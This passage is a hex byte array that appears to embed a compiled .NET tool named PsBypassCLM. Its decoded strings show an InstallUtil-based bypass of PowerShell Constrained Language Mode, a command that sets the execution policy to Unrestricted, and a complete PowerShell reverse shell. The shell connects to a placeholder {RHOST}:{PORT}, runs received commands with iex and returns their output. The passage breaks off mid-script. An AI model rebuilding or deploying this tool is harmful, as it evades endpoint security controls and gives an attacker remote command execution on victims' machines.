0x00,0xD1,0x00,0x07,0x05,0x9E,0x00,0x81,0x00,0xC0,0x03,0x06,0x00,0xC1,0x00,0xBF,0x04,0xA9,0x00,0x11,0x01,0x73,0x04,0xAF,0x00,0x19,0x01,0x22,0x03,0xB5,0x00,0x21,0x01,0xC0,0x03,0x10,0x00,0xC1,0x00,0xC0,0x03,0x06,0x00,0x2E,0x00,0x0B,0x00,0xE1,0x00,0x2E,0x00,0x13,0x00,0xEA,0x00,0x2E,0x00,0x1B,0x00,0x09,0x01,0x2E,0x00,0x23,0x00,0x12,0x01,0x2E,0x00,0x2B,0x00,0x1D,0x01,0x2E,0x00,0x33,0x00,0x1D,0x01,0x2E,0x00,0x3B,0x00,0x1D,0x01,0x2E,0x00,0x43,0x00,0x12,0x01,0x2E,0x00,0x4B,0x00,0x23,0x01,0x2E,0x00,0x53,0x00,0x1D,0x01,0x2E,0x00,0x5B,0x00,0x1D,0x01,0x2E,0x00,0x63,0x00,0x3B,0x01,0x2E,0x00,0x6B,0x00,0x65,0x01,0x2E,0x00,0x73,0x00,0x72,0x01,0x63,0x00,0x7B,0x00,0xBC,0x01,0x1A,0x00,0xA4,0x00,0x6E,0x00,0x7E,0x00,0x04,0x80,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x25,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x00,0x31,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC3,0x00,0x3C,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xBA,0x00,0x2B,0x03,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xCC,0x00,0xF3,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x60,0x31,0x00,0x49,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x60,0x31,0x00,0x3C,0x4D,0x6F,0x64,0x75,0x6C,0x65,0x3E,0x00,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x00,0x6D,0x73,0x63,0x6F,0x72,0x6C,0x69,0x62,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x47,0x65,0x6E,0x65,0x72,0x69,0x63,0x00,0x41,0x64,0x64,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x53,0x70,0x65,0x63,0x69,0x61,0x6C,0x69,0x7A,0x65,0x64,0x00,0x52,0x65,0x70,0x6C,0x61,0x63,0x65,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x00,0x67,0x65,0x74,0x5F,0x4D,0x65,0x73,0x73,0x61,0x67,0x65,0x00,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x49,0x6E,0x76,0x6F,0x6B,0x65,0x00,0x49,0x44,0x69,0x73,0x70,0x6F,0x73,0x61,0x62,0x6C,0x65,0x00,0x43,0x6F,0x6E,0x73,0x6F,0x6C,0x65,0x00,0x52,0x65,0x61,0x64,0x4C,0x69,0x6E,0x65,0x00,0x41,0x70,0x70,0x65,0x6E,0x64,0x4C,0x69,0x6E,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x4C,0x69,0x6E,0x65,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x50,0x69,0x70,0x65,0x6C,0x69,0x6E,0x65,0x00,0x44,0x69,0x73,0x70,0x6F,0x73,0x65,0x00,0x73,0x61,0x76,0x65,0x64,0x53,0x74,0x61,0x74,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x00,0x47,0x75,0x69,0x64,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x44,0x65,0x62,0x75,0x67,0x67,0x61,0x62,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x43,0x6F,0x6D,0x56,0x69,0x73,0x69,0x62,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x54,0x69,0x74,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x54,0x72,0x61,0x64,0x65,0x6D,0x61,0x72,0x6B,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x54,0x61,0x72,0x67,0x65,0x74,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x46,0x69,0x6C,0x65,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x6E,0x66,0x69,0x67,0x75,0x72,0x61,0x74,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x44,0x65,0x73,0x63,0x72,0x69,0x70,0x74,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x52,0x75,0x6E,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x65,0x72,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x43,0x6F,0x6D,0x70,0x69,0x6C,0x61,0x74,0x69,0x6F,0x6E,0x52,0x65,0x6C,0x61,0x78,0x61,0x74,0x69,0x6F,0x6E,0x73,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x50,0x72,0x6F,0x64,0x75,0x63,0x74,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x6D,0x70,0x61,0x6E,0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x43,0x6F,0x6D,0x70,0x61,0x74,0x69,0x62,0x69,0x6C,0x69,0x74,0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2E,0x65,0x78,0x65,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x69,0x6E,0x67,0x00,0x54,0x6F,0x53,0x74,0x72,0x69,0x6E,0x67,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x2E,0x4F,0x62,0x6A,0x65,0x63,0x74,0x4D,0x6F,0x64,0x65,0x6C,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6D,0x70,0x6F,0x6E,0x65,0x6E,0x74,0x4D,0x6F,0x64,0x65,0x6C,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x55,0x74,0x69,0x6C,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6E,0x66,0x69,0x67,0x75,0x72,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x00,0x55,0x6E,0x69,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x00,0x50,0x72,0x6F,0x67,0x72,0x61,0x6D,0x00,0x67,0x65,0x74,0x5F,0x49,0x74,0x65,0x6D,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x00,0x4F,0x70,0x65,0x6E,0x00,0x4D,0x61,0x69,0x6E,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x65,0x66,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6F,0x6E,0x00,0x53,0x74,0x72,0x69,0x6E,0x67,0x42,0x75,0x69,0x6C,0x64,0x65,0x72,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x65,0x72,0x00,0x49,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x00,0x47,0x65,0x74,0x45,0x6E,0x75,0x6D,0x65,0x72,0x61,0x74,0x6F,0x72,0x00,0x2E,0x63,0x74,0x6F,0x72,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x44,0x69,0x61,0x67,0x6E,0x6F,0x73,0x74,0x69,0x63,0x73,0x00,0x67,0x65,0x74,0x5F,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E,0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x49,0x6E,0x74,0x65,0x72,0x6F,0x70,0x53,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x75,0x6E,0x74,0x69,0x6D,0x65,0x2E,0x43,0x6F,0x6D,0x70,0x69,0x6C,0x65,0x72,0x53,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x00,0x44,0x65,0x62,0x75,0x67,0x67,0x69,0x6E,0x67,0x4D,0x6F,0x64,0x65,0x73,0x00,0x61,0x72,0x67,0x73,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x73,0x00,0x67,0x65,0x74,0x5F,0x50,0x61,0x72,0x61,0x6D,0x65,0x74,0x65,0x72,0x73,0x00,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x00,0x50,0x53,0x4F,0x62,0x6A,0x65,0x63,0x74,0x00,0x67,0x65,0x74,0x5F,0x43,0x75,0x72,0x72,0x65,0x6E,0x74,0x00,0x41,0x64,0x64,0x53,0x63,0x72,0x69,0x70,0x74,0x00,0x4D,0x6F,0x76,0x65,0x4E,0x65,0x78,0x74,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x54,0x65,0x78,0x74,0x00,0x67,0x65,0x74,0x5F,0x43,0x6F,0x6E,0x74,0x65,0x78,0x74,0x00,0x49,0x6E,0x73,0x74,0x61,0x6C,0x6C,0x43,0x6F,0x6E,0x74,0x65,0x78,0x74,0x00,0x49,0x44,0x69,0x63,0x74,0x69,0x6F,0x6E,0x61,0x72,0x79,0x00,0x53,0x74,0x72,0x69,0x6E,0x67,0x44,0x69,0x63,0x74,0x69,0x6F,0x6E,0x61,0x72,0x79,0x00,0x52,0x75,0x6E,0x73,0x70,0x61,0x63,0x65,0x46,0x61,0x63,0x74,0x6F,0x72,0x79,0x00,0x6F,0x70,0x5F,0x49,0x6E,0x65,0x71,0x75,0x61,0x6C,0x69,0x74,0x79,0x00,0x49,0x73,0x4E,0x75,0x6C,0x6C,0x4F,0x72,0x45,0x6D,0x70,0x74,0x79,0x00,0x00,0x00,0x01,0x00,0x80,0x81,0x53,0x00,0x65,0x00,0x74,0x00,0x2D,0x00,0x45,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x50,0x00,0x6F,0x00,0x6C,0x00,0x69,0x00,0x63,0x00,0x79,0x00,0x20,0x00,0x2D,0x00,0x45,0x00,0x78,0x00,0x65,0x00,0x63,0x00,0x75,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x50,0x00,0x6F,0x00,0x6C,0x00,0x69,0x00,0x63,0x00,0x79,0x00,0x20,0x00,0x55,0x00,0x6E,0x00,0x72,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x65,0x00,0x64,0x00,0x20,0x00,0x2D,0x00,0x53,0x00,0x63,0x00,0x6F,0x00,0x70,0x00,0x65,0x00,0x20,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x01,0x8B,0x43,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x4E,0x00,0x65,0x00,0x77,0x00,0x2D,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x2E,0x00,0x4E,0x00,0x65,0x00,0x74,0x00,0x2E,0x00,0x53,0x00,0x6F,0x00,0x63,0x00,0x6B,0x00,0x65,0x00,0x74,0x00,0x73,0x00,0x2E,0x00,0x54,0x00,0x43,0x00,0x50,0x00,0x43,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x28,0x00,0x27,0x00,0x7B,0x00,0x52,0x00,0x48,0x00,0x4F,0x00,0x53,0x00,0x54,0x00,0x7D,0x00,0x27,0x00,0x2C,0x00,0x7B,0x00,0x50,0x00,0x4F,0x00,0x52,0x00,0x54,0x00,0x7D,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x5B,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x5B,0x00,0x5D,0x00,0x5D,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x30,0x00,0x2E,0x00,0x2E,0x00,0x36,0x00,0x35,0x00,0x35,0x00,0x33,0x00,0x35,0x00,0x7C,0x00,0x25,0x00,0x7B,0x00,0x30,0x00,0x7D,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x77,0x00,0x68,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x28,0x00,0x28,0x00,0x24,0x00,0x69,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x52,0x00,0x65,0x00,0x61,0x00,0x64,0x00,0x28,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2C,0x00,0x20,0x00,0x30,0x00,0x2C,0x00,0x20,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2E,0x00,0x4C,0x00,0x65,0x00,0x6E,0x00,0x67,0x00,0x74,0x00,0x68,0x00,0x29,0x00,0x29,0x00,0x20,0x00,0x2D,0x00,0x6E,0x00,0x65,0x00,0x20,0x00,0x30,0x00,0x29,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x4E,0x00,0x65,0x00,0x77,0x00,0x2D,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x2D,0x00,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x20,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x2E,0x00,0x54,0x00,0x65,0x00,0x78,0x00,0x74,0x00,0x2E,0x00,0x41,0x00,0x53,0x00,0x43,0x00,0x49,0x00,0x49,0x00,0x45,0x00,0x6E,0x00,0x63,0x00,0x6F,0x00,0x64,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x29,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x24,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x2C,0x00,0x30,0x00,0x2C,0x00,0x20,0x00,0x24,0x00,0x69,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x74,0x00,0x72,0x00,0x79,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x09,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x69,0x00,0x65,0x00,0x78,0x00,0x20,0x00,0x24,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x20,0x00,0x32,0x00,0x3E,0x00,0x26,0x00,0x31,0x00,0x20,0x00,0x7C,0x00,0x20,0x00,0x4F,0x00,0x75,0x00,0x74,0x00,0x2D,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x20,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x20,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x50,0x00,0x53,0x00,0x20,0x00,0x27,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x28,0x00,0x70,0x00,0x77,0x00,0x64,0x00,0x29,0x00,0x2E,0x00,0x50,0x00,0x61,0x00,0x74,0x00,0x68,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x3E,0x00,0x20,0x00,0x27,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x74,0x00,0x63,0x00,0x68,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x54,0x00,0x6F,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x29,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x49,0x00,0x6E,0x00,0x76,0x00,0x6F,0x00,0x63,0x00,0x61,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x2E,0x00,0x50,0x00,0x6F,0x00,0x73,0x00,0x69,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x4D,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x61,0x00,0x67,0x00,0x65,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20